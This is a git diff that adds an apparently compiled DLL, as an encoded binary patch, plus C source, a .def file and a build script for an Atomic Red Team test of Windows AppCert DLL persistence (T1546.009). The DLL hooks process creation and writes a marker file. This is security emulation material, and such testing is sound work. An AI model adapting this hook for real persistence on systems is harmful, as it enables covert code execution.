z=nZMtZxdDq_q`!`t#~cFu;UHMSnM+ozEUi8HZ*oJG&W0zMn^5aajscPswwWj`9!nS zIcra+tUb+AMAvt`V?Sw@%JZh58247QR9#y-cH(oO&nWJcQQRzbU8orK=3~v$&E8WN zT}f(|-kB8s)Rbw>Qfe=s*)`*vrQfR8R?QsIENPP!OKiNN?hp$V|-I{oC*Usxw^&G`w_m8ei zAAHxRA?fw&(%*^2nv>67mkjQSikU^%rLl|k#YQ?SHS;u>D9Pjlh-$0lg79Y z+hY0iniMzWmv5u$u1PuD`#oKC~vmcTcPMar-rCl48lnE8o5*Ev)_Y z!k8DXNkuwEZ}-w`(&GW!CZ1bxYgSu1QCh96Eny`ZekHndG#V z3D>0fs~>6xjJ+m3-Sc$6^pI=P)Yp&k?+%c@UNxB+y_{7|TCP~-sx2AQOO;XFCHy3>WXp^+3 zaPaN!)0(6S9W5U%o6sbEx@*?lKgKpmw|Xr4d)}}nX}4hzKlqR3J_tqozjnYd+ldJn#8l?(-h{F3c;E>|@+lLz^ z|Iu@vz4>jUq#dmI*zNO1$$d}LhVJh-N^f-dV_@VPjnaE=Rde&6ZQ)AWi(0+8;Xp*=Qm29E`9FF*QYm18~Vn=f1@F*?%S$TPHb@H1gcI&csX@j&Ze|(uoPJ^Tven-D9wL$V5P_W>kxee0c(|6z5F||PoKjz(jfv!R7 zJ27-!d#OS4uNevd4bn%|f0vnuG)N;fkN%a|r$Oqk+tNkT74+H0LUYxLgtNN@>8vDk`nb9Y0QuxoiraX4o zCOsBuUbCgzCe^&&@5;rmY|-?TyJg2cqmj*7qlNxN3Jl$N1 zwQ8F*dim5*eS^R}J8V)Bym-#d(}wdHaL5Sj*trWI)^H*Fr_~bs2QOUYWneo9M1=?=P;-LS3gF*!+&Rog7@jZDw%La)uk!Ti-HqTSNA<`U6hd0QECZ&Mpt0&}mTje7~qTqVeY9)s|~iF*huDHSR2_K=APDBmcY&F+Q_&$J;-Xk!Jk6z zuR2n}p2HoQ#(5#|0PvUcWjI_4&$N||Kv@OIoboReWi?R>;f|Z#?kJQAdWE1x|G4vl zc8)@*hK=k)lj*(8MuiXtm29Yy3=}DZjbLrTwCKnL7F*`ZfBaE+DFm-o@Xc&Lh2WPA z*g+w5=ndaY3G@^KOga2pTbe1XqbcMVkvUGq9w0*oCE zXkP(-{Rw7|brggPU>}kBHO)n@P=XhORe}eab&4DJ z8~hD*7nB`*jF=`ERz-JTp?j)I=$@byx`(zGy5|MiAU3rfs#Qi8g{$DwN$^mBX=YZo z1L%c$0cjwIH?Wr=^o8?b2=7Edg}aO3Zh|-SdbtQ*!`(I9AMh)|2mJ9Cx(|2q$Hh%> z1%F%&3MegLm(tgco!o>@p}s<=4NAQi&o_M8UX-o@705?HNp za#IoHEd-_d3PBK$Ac#lMv;bQN3#7e|Lhwljx0xQ~;6@O*5j33Z9~7=Xp$7c}ryMR; z2AtA#{8)HrH=LLzGAg`Xu&ioWx^93nh3T6I<=82Va=c$2CkXGuDZBq5GhHJ1wtQ>no zIrf5b4CQ$mq-7Uxp$p_i7s!h)AnyY5F4F=nT!R@ydWJqG^i-q^DjS5V*1MXQ1RgduY)a#h zd3$|2EIiI|m@(f_`B_6Te;OM~+zIc(jb z9-BHt+tCTqH;|{lqJt1)886If4-_4ziV1W+??hLFsS{{7}KBYPtL> zd|d?JJog9InK?Ovun*3^$bJ6~9zusumC)f+R&woad<&SVfQ?ix-(XHbm;;~3YHdRkB=lnS1qWr79lhA)S)Q-nf*rne2}dF};y4&`l{kFiTf=x5&MZfe0S?<2eg z?>rA zz3KmI4+mL_&fY?2lZVhb)m`YE;0AuU3Y~3Ge_1~ceYsOVu3+iu=-YT-?+s?4zlXR4 zPV=|P>DTcYL6`%ly==k&-ZS~Zb;9de81KV5P0o*Q-Vk43pP^Wq;1G>HzWbaTRw#lUs7%-SN3 z!S( zL^z6YJYfQ1I^hb!4TK*N9whvc&`Q`s=t1ciMA(;bIN^B0nS{xNd4#J8HxX_oWSIm% z`>3F?kBbQtJhI?3+9}z_%vploZE8VU-ZFh!9(?W?zA~JW7L{9&1E1a&9&&+?cSRNC z<-sSises0&3ca1A3GBPVAQWsUoxUs|J{FXanVlAyj~?Nbkmc(5#@O_@%zTp$K1D2? za+_w#ib^uV*NwnG@UGA#{EV`=+}yKd%Z4x@HRsy3dEI+IEI`DypeVeAPZndVQ~nXfUNIWgswXwJtIB?9abiFv*w6QlsmTq~d-udf zkx=iIayIVRGq-+rR`!;Er_^!L&sUDEm-n5rRWFmll8sY4?w)!{`uSt)M%&q+`a*2c zH8|z9@!gYKsGdJzDGSK z?UA63Pfl`4_VC$m$;O!-lg{hw6U1rf(k(l7?U_1xeU!RH-u2>srY6T0Z_E48+1s4W z;}&L0rS3iT8jMQ+{TEWD2X1C#I?lOy37sx(Z>YRw9Y3 z{X^uPqtYH6rER8jO44@qary-D*fqI!W^yXbzUHbqM%~BPhS?cb&itPBo5cT(q^=E1 zM^Z;de&$Yw7ID};HLjjHC1tz%uO*xIPS5SS?w&ce(c8Xja%ydC$E-TRb6Ln|AjYjL`lKD%V&3;Xwx^9d=#>D&?-rT$q`w$4r3-C3y{ zZ!%JD$?cKR^YL;HH z;+*a5K0Vs$Pz~&8?A|joJteU_OU}iVAU`w2DE}=|qP#ymvrC49Y(V(rqWNsQ`j8r3 zL#OgyyL6`vD*Nj3iX-3(+xNNGvX9mTf2~WtakH=!=LCN*>xErJWv9ytzB_a$uV2ph zcoL)U@~pjP;)Xq3^NH}@TiFhBV$r9cIi~!R-zE6!?|J`m=hNT+{uSAym;LE)+Ml2J z7^vRtb*e5Ox;Yj;YuP{9_Xj0y83~KNMzZkoE1>;^;&lJog?Z0-yn>Vc^uOiI`zP6T zKlA=RKNW40r%a10VsI}g`hj~su);|!9JP&}w|W0(_)Fm&!Tre*P4a&!cR1&@Uw+BI z_kYh$3Oao3W#%7u@_&x}f1f>`y-0mC+t1!~=JNOJqjy}-eYWcl-+b7sZaIAW;VWL6 z|DU?g^0)idTlO#1>?K)#ObMqOA$FR5f-?>i?~kbhKjC72#s|h3qSrfWKfkp9_w(Za z=Psn3;jJ%9j%+{u^U;M&Kk3&O>aoCheW*yXpjF8n?{ z^E=19XMXKRdF3q1{b8=*%RSdwEA8LIFE{_`@_o;_hvNDjJ3dk8IscE!`4{TTZJ$62QwOPph&-Ey7eSorzW{`n*~YO;hy(sOeBB%DGTrbxBz0Q{ zBaRo|?)YhV!12O|9p8X0)TYc1jCz%N8Xt!#)WxUaC(seR26fcKAAy@zD0Lja4emiw zhdKBqB<(!}A9$mEjXnsUM3Uzz_-)4z;M;!H&L4m?j*r6)m(nK!V=4qchNR3i{JP`2 z@D0Car+eXDNMbk#zlNl5bm6(buGCV>als8}89ojlKz@80PVxW6HTWcKp&-5kFI>ev zc)SPhL((6Fk0Uu(2X0|fm-KD$0NO`>;U?A}OyDP=$4~#4a^S5<+A;~h==kSh{R-}d zlcxdCd#jzt4L`M-XN#m~;L8A38(P~;CGN*-xKi4pk1E;TsCgkNB9>=>iJoiyv|M+ zK8{9lgU>p?2YqYp{OjQR9iM?uJ6`za^_=4x)=0tU&?j5 zK6L$-oi6k_Uib)-dTQ_)@wD*-y#2T7=ae}O|NC9U7C(ezo0#wLOW{X1Q$GFxeCT?m z47>p!+rrq#H{sW}GKb*1@WC6n7H=n>@cbKz3H}0TAQ>aV4@Wo`=_&ZG-(`H^H^QYi zDdoirCy}&Km~_1G>YLfem2<6ukD?6u+wfaR@^8F_=l{qg{W$z))NWTF-n+xDLlWM2 zn?1KgU;#;dO!y5X|H?xEjfMgYdE#vE{vfxP~blq0L7o$E^~3h{6@C&)9p>RtB=bWLzWx#FK>my2gP*2u_<8v0&(PoS8eFE? z*Hk!(r0)r*b^0oK4!}#ZcDf(lftsXG!~Z}M&jH+$BVMF$gO}wQYj{8Wm$G62a9!Z# z6}xVJxDiR6g|D^jd2boK7cC=y60WG)Fdm;7yNn zZqg^<-=Y)vr{FujK%B>EJJgXI-+~{0g81Mym_;V#%lcedcWY3l@R;L;vKH1&9-*u= z-G&#+x-Q8tly#uug|d!LyinE#i5JRxGx0)MMhXUUffm=B z>Cl(;XT#Y@HkwUjli5_ZnQdj;*-o~b?eW}VkR4`K&XsfLJUMU9m-FWWxnM4o3+E!a zXfBqE=MuSOE|p8?GC3`0<{G(Xu9a)&I=ODHm+R*SxnWKjF2ikj46orc{6@eC8X+TW zM2x5rGvY?VNE#_4ZDb71FpY-MG+IX6=onq2XY`GMF*H=(m3QYod2imA_vZuoU_O)& z=Og)OK9-N?6ZvF5l~3n0c`a||8~J9wm2c-e`EH)C|K|t!VP3OLt6>dls_w3P>fXAq z?ym>x!Fs43sYmOvdc2;fC+n$tx^C8+^>)2e@782l`M~Sy$Gb^<=$SiDDod%!ce(nlUqOCd{OnGSgm0Trv$y4%{d?kM=PzshprEn=yik4!fcqvgzmQtm3DO1u)W~otXmD;6Fsaxum z`lUf>SW;zI*6v(Per} zpBXSiW`rmuh){;;G>J@?s0>XP@$eCg5OIhRgB0yIOHJC|rQO4lix&H6ZHSh}Xl05P znzXJ>%lfp+MT>luKqXX(RAQAxB~{5(%u2J;u5>H?%CO?HJeJQ2SRpH7#jJ#tvNH6K zrq#B(R^J+0uBxZ%s|Ko}YNQ&gCaS4wrfOE3)poU8?N^6YSItxN)dICpEmDis617w< zQ!{JLTD#V*^=reLi$3O~e}(8>F?v?2o^kqBmp(PDs{!|_2)Rr1Xg)2Vg|vtk(-K-r z%V?(7)Y@8C>uW>JrF(Rr9?(O2gua*1Q+h@>^(H;AOYa-%F8ZC1J{Mx_#u&S)Y$j_m zdfSZLKBLyfhz-`m^zb;nJ6+f6je3i|-K!7i*?bP=dULZ+^J;!AsD-tt7T1zmTGO+t~4T^ce%bXBoK8P|GB$)>^=71LCzsJ~DjC(I* zKFD~FGS-ufbB!_HVtn@)+p6F$cnkhQun;ap3-Lm-kS=J2Mxj;c6nce0K^5IaZ_!^2 z7Q@A8FH^UGY}@m0%@YiB{s3WF=kE zDve63(y8<+gNm};me=xIK`U%Ut+aKdL{%Wuqu12fzs`A_4 y3rlmYJ)^mpYsh!ILO^MQe1I{TU_3S%iK^(L^&wh*x|!(Ic}NO)_4xl3f&T?g&Z%es literal 0 HcmV?d00001 diff --git a/atomics/T1546.009/src/AtomicTest.c b/atomics/T1546.009/src/AtomicTest.c new file mode 100644 index 00000000..665494de --- /dev/null +++ b/atomics/T1546.009/src/AtomicTest.c @@ -0,0 +1,52 @@ +/* + Atomic Test T1546.009 + + Author: traceflow (Twitter: @traceflow_ Email: traceflow@0x8d.cc) + https://github.com/tr4cefl0w + + Credits: https://skanthak.homepage.t-online.de/appcert.html +*/ + + +#include +#include + +#pragma comment(lib, "user32") + +typedef enum _REASON +{ + PROCESS_CREATION_QUERY = 1, + PROCESS_CREATION_ALLOWED = 2, + PROCESS_CREATION_DENIED = 3 +} REASON; + +LPCWSTR target = L"C:\\Windows\\System32\\cmd.exe"; + +void Run(LPCWSTR lpApplicationName) { + CreateFile("C:\\Users\\Public\\AtomicTest.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + return; +} + +NTSTATUS NTAPI CreateProcessNotify(LPCWSTR lpApplicationName, REASON enReason) { + NTSTATUS ntStatus = 0x00000000; // STATUS_SUCCESS + + int result = lstrcmpiW(target, lpApplicationName); + if(result) { + Run(lpApplicationName); + } + return ntStatus; +} + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReversed) { + switch ( fdwReason ) { + case DLL_PROCESS_ATTACH: + break; + case DLL_THREAD_ATTACH: + break; + case DLL_THREAD_DETACH: + break; + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} \ No newline at end of file diff --git a/atomics/T1546.009/src/AtomicTest.def b/atomics/T1546.009/src/AtomicTest.def new file mode 100644 index 00000000..82f9bb08 --- /dev/null +++ b/atomics/T1546.009/src/AtomicTest.def @@ -0,0 +1,2 @@ +EXPORTS + CreateProcessNotify \ No newline at end of file diff --git a/atomics/T1546.009/src/build.bat b/atomics/T1546.009/src/build.bat new file mode 100644 index 00000000..e87c0a8c --- /dev/null +++ b/atomics/T1546.009/src/build.bat @@ -0,0 +1 @@ +cl.exe /W0 /D_USRDLL /D_WINDLL AtomicTest.c AtomicTest.def /MT /link /DLL /OUT:AtomicTest.dll \ No newline at end of file